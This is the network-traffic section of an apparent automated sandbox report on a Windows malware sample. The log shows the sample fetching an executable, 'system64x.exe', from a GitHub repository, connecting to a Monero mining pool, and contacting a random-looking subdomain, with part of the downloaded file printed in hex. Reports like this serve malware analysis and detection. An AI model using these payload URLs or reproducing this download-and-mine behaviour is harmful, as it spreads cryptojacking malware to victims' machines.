Jul 14, 2024 23:41:36.741652012 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.777262926 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.777282953 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.777323008 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.777332067 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.777360916 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.777384043 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.777473927 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.777493954 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.777534008 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.777538061 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.777560949 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.777586937 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.778697968 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.778717041 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.778774977 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.778779984 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.778851986 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.779097080 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.779133081 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.779179096 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.779185057 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.779208899 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.779236078 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.779582977 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.779601097 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.779656887 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.779661894 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.779685020 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.779699087 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.780390024 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.780406952 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.780452013 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.780457020 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.780486107 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.780508041 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.780617952 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.780632973 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.780680895 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.780685902 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.780734062 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.830496073 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.830514908 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.830574036 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.830580950 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.830708981 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.867315054 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867340088 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867386103 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.867392063 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867415905 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867423058 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.867434025 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867438078 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.867444992 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867465973 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.867501020 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.867584944 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867599010 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867660046 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867665052 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.867671013 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867695093 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867722988 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.867727041 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.867748976 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.867768049 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.868789911 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.868808985 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.868866920 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.868872881 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.868938923 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.869308949 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.869328022 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.869369984 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.869374990 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.869396925 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.869414091 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.869512081 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.869528055 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.869571924 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.869576931 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.869664907 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.920805931 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.920830011 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.920901060 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.920912027 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.920963049 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.956445932 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.956465960 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.956556082 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.956562996 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.956604958 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.956639051 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.956644058 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.956665993 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.956700087 CEST	443	49729	185.199.109.133	192.168.2.5
Jul 14, 2024 23:41:36.956711054 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.956752062 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:36.957602978 CEST	49729	443	192.168.2.5	185.199.109.133
Jul 14, 2024 23:41:44.022341967 CEST	49734	10128	192.168.2.5	149.102.143.109
Jul 14, 2024 23:41:44.027496099 CEST	10128	49734	149.102.143.109	192.168.2.5
Jul 14, 2024 23:41:44.028357983 CEST	49734	10128	192.168.2.5	149.102.143.109
Jul 14, 2024 23:41:44.028357983 CEST	49734	10128	192.168.2.5	149.102.143.109
Jul 14, 2024 23:41:44.033241987 CEST	10128	49734	149.102.143.109	192.168.2.5
Jul 14, 2024 23:41:44.686685085 CEST	10128	49734	149.102.143.109	192.168.2.5
Jul 14, 2024 23:41:44.828465939 CEST	49734	10128	192.168.2.5	149.102.143.109
Jul 14, 2024 23:41:45.027498007 CEST	10128	49734	149.102.143.109	192.168.2.5
Jul 14, 2024 23:41:45.124509096 CEST	49734	10128	192.168.2.5	149.102.143.109
Jul 14, 2024 23:41:45.613734961 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:45.613775015 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:45.613996983 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:45.627741098 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:45.627757072 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.112586975 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.114176035 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:46.114192963 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.115077972 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.115123987 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:46.117012024 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:46.117069006 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.117322922 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:46.117330074 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.324507952 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.324573040 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:46.382782936 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.382878065 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.382972956 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:46.390496969 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:41:46.390517950 CEST	443	49735	172.67.206.184	192.168.2.5
Jul 14, 2024 23:41:46.390584946 CEST	49735	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:15.139446020 CEST	10128	49734	149.102.143.109	192.168.2.5
Jul 14, 2024 23:42:15.217461109 CEST	49734	10128	192.168.2.5	149.102.143.109
Jul 14, 2024 23:42:44.037194014 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.037255049 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.037348986 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.059079885 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.059115887 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.520665884 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.522258997 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.522284985 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.524084091 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.524183989 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.526702881 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.526807070 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.526982069 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.526989937 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.527151108 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.572503090 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.788249969 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.788516998 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:44.788570881 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.798933029 CEST	49744	443	192.168.2.5	172.67.206.184
Jul 14, 2024 23:42:44.798954010 CEST	443	49744	172.67.206.184	192.168.2.5
Jul 14, 2024 23:42:45.180202007 CEST	10128	49734	149.102.143.109	192.168.2.5
Jul 14, 2024 23:42:45.233062029 CEST	49734	10128	192.168.2.5	149.102.143.109
Jul 14, 2024 23:43:15.336769104 CEST	10128	49734	149.102.143.109	192.168.2.5
Jul 14, 2024 23:43:15.545567989 CEST	49734	10128	192.168.2.5	149.102.143.109
Jul 14, 2024 23:43:24.742027998 CEST	10128	49734	149.102.143.109	192.168.2.5
Jul 14, 2024 23:43:24.858035088 CEST	49734	10128	192.168.2.5	149.102.143.109

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 14, 2024 23:41:31.497489929 CEST	52233	53	192.168.2.5	1.1.1.1
Jul 14, 2024 23:41:31.505983114 CEST	53	52233	1.1.1.1	192.168.2.5
Jul 14, 2024 23:41:34.028191090 CEST	55179	53	192.168.2.5	1.1.1.1
Jul 14, 2024 23:41:34.035373926 CEST	53	55179	1.1.1.1	192.168.2.5
Jul 14, 2024 23:41:44.012006044 CEST	64655	53	192.168.2.5	1.1.1.1
Jul 14, 2024 23:41:44.019701958 CEST	53	64655	1.1.1.1	192.168.2.5
Jul 14, 2024 23:41:45.501876116 CEST	60895	53	192.168.2.5	1.1.1.1
Jul 14, 2024 23:41:45.612310886 CEST	53	60895	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 14, 2024 23:41:31.497489929 CEST	192.168.2.5	1.1.1.1	0x31bc	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:34.028191090 CEST	192.168.2.5	1.1.1.1	0x20b6	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:44.012006044 CEST	192.168.2.5	1.1.1.1	0x575b	Standard query (0)	gulf.moneroocean.stream	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:45.501876116 CEST	192.168.2.5	1.1.1.1	0x7dae	Standard query (0)	wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 14, 2024 23:41:31.505983114 CEST	1.1.1.1	192.168.2.5	0x31bc	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:34.035373926 CEST	1.1.1.1	192.168.2.5	0x20b6	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:34.035373926 CEST	1.1.1.1	192.168.2.5	0x20b6	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:34.035373926 CEST	1.1.1.1	192.168.2.5	0x20b6	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:34.035373926 CEST	1.1.1.1	192.168.2.5	0x20b6	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:44.019701958 CEST	1.1.1.1	192.168.2.5	0x575b	No error (0)	gulf.moneroocean.stream	monerooceans.stream		CNAME (Canonical name)	IN (0x0001)	false
Jul 14, 2024 23:41:44.019701958 CEST	1.1.1.1	192.168.2.5	0x575b	No error (0)	monerooceans.stream		149.102.143.109	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:45.612310886 CEST	1.1.1.1	192.168.2.5	0x7dae	No error (0)	wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org		172.67.206.184	A (IP address)	IN (0x0001)	false
Jul 14, 2024 23:41:45.612310886 CEST	1.1.1.1	192.168.2.5	0x7dae	No error (0)	wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org		104.21.61.58	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

github.com

raw.githubusercontent.com

wea9ufgh438790atrhjwiujngzhe4wa709rthjcwa9nv8n980avw.roast247.eu.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49727	140.82.121.3	443	612	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-14 21:41:32 UTC	170	OUT	GET /231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/blob/main/system64x.exe?raw=true HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-07-14 21:41:32 UTC	569	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Sun, 14 Jul 2024 21:41:32 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Location: https://github.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/raw/main/system64x.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-07-14 21:41:32 UTC	3474	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.
2024-07-14 21:41:32 UTC	223	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 6f 67 67 65 64 5f 69 6e 3d 6e 6f 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 67 69 74 68 75 62 2e 63 6f 6d 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 31 34 20 4a 75 6c 20 32 30 32 35 20 32 31 3a 34 31 3a 33 32 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 58 2d 47 69 74 48 75 62 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 37 46 43 30 3a 31 41 42 42 43 35 3a 37 43 30 33 34 31 43 3a 37 46 32 33 32 31 37 3a 36 36 39 34 34 36 30 43 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: Set-Cookie: logged_in=no; Path=/; Domain=github.com; Expires=Mon, 14 Jul 2025 21:41:32 GMT; HttpOnly; Secure; SameSite=LaxContent-Length: 0X-GitHub-Request-Id: 7FC0:1ABBC5:7C0341C:7F23217:6694460Cconnection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49728	140.82.121.3	443	612	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-14 21:41:33 UTC	136	OUT	GET /231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/raw/main/system64x.exe HTTP/1.1 Host: github.com
2024-07-14 21:41:34 UTC	611	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Sun, 14 Jul 2024 21:41:33 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/main/system64x.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-07-14 21:41:34 UTC	3029	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f 6d 20 72 61 77 2e 67 69 74 68 75 62 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 20 61 70 69 2e 67 69 74 68 75 62 2e Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49729	185.199.109.133	443	612	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-14 21:41:34 UTC	171	OUT	GET /231d23EDD3dwedf234fdew223df23wqf/wef4t43gf34f4g4gfefwg4gfwfgehet5hsrtjrjefswf/main/system64x.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-07-14 21:41:34 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2870272 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "0c99422a1499a3143c0132d15a7a061490125f4c2e74ae0e6b32c144f29fa8c2" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 903D:169A42:129625F:1484276:6694460E Accept-Ranges: bytes Date: Sun, 14 Jul 2024 21:41:34 GMT Via: 1.1 varnish X-Served-By: cache-ewr18129-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1720993295.571340,VS0,VE196 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 0ed784ab922fb9c965674147d0b2f4f3660fb547 Expires: Sun, 14 Jul 2024 21:46:34 GMT Source-Age: 0
2024-07-14 21:41:34 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 68 72 ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 56 33 62 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 7e 00 00 00 4a 2b 00 00 00 00 00 40 11 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 2c 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 Data Ascii: MZx@xhr!L!This program cannot be run in DOS mode.$PEdV3be"~J+@@0,`
2024-07-14 21:41:34 UTC	1378	IN	Data Raw: 41 56 56 57 53 48 83 ec 20 65 48 8b 04 25 30 00 00 00 48 8b 78 08 48 8b 35 c9 7e 00 00 31 c0 f0 48 0f b1 3e 0f 94 c3 74 2e 48 39 c7 74 29 4c 8b 35 79 98 00 00 66 0f 1f 84 00 00 00 00 00 b9 e8 03 00 00 41 ff d6 31 c0 f0 48 0f b1 3e 0f 94 c3 74 05 48 39 c7 75 e7 48 8b 3d 90 7e 00 00 8b 07 83 f8 01 75 0c b9 1f 00 00 00 e8 3f 7a 00 00 eb 27 83 3f 00 74 09 c6 05 d1 bf 2b 00 01 eb 19 c7 07 01 00 00 00 48 8b 0d 7a 7e 00 00 48 8b 15 7b 7e 00 00 e8 36 7a 00 00 8b 07 83 f8 01 75 19 48 8b 0d 50 7e 00 00 48 8b 15 51 7e 00 00 e8 1c 7a 00 00 c7 07 02 00 00 00 84 db 74 05 31 c0 48 87 06 48 8b 05 e6 7d 00 00 48 8b 00 48 85 c0 74 10 31 c9 ba 02 00 00 00 45 31 c0 ff 15 c6 ed 2b 00 e8 39 06 00 00 48 8d 0d c2 0b 00 00 ff 15 b4 97 00 00 48 8b 0d e5 7d 00 00 48 89 01 48 8d 0d Data Ascii: AVVWSH eH%0HxH5~1H>t.H9t)L5yfA1H>tH9uH=~u?z'?t+Hz~H{~6zuHP~HQ~zt1HH}HHt1E1+9HH}HH
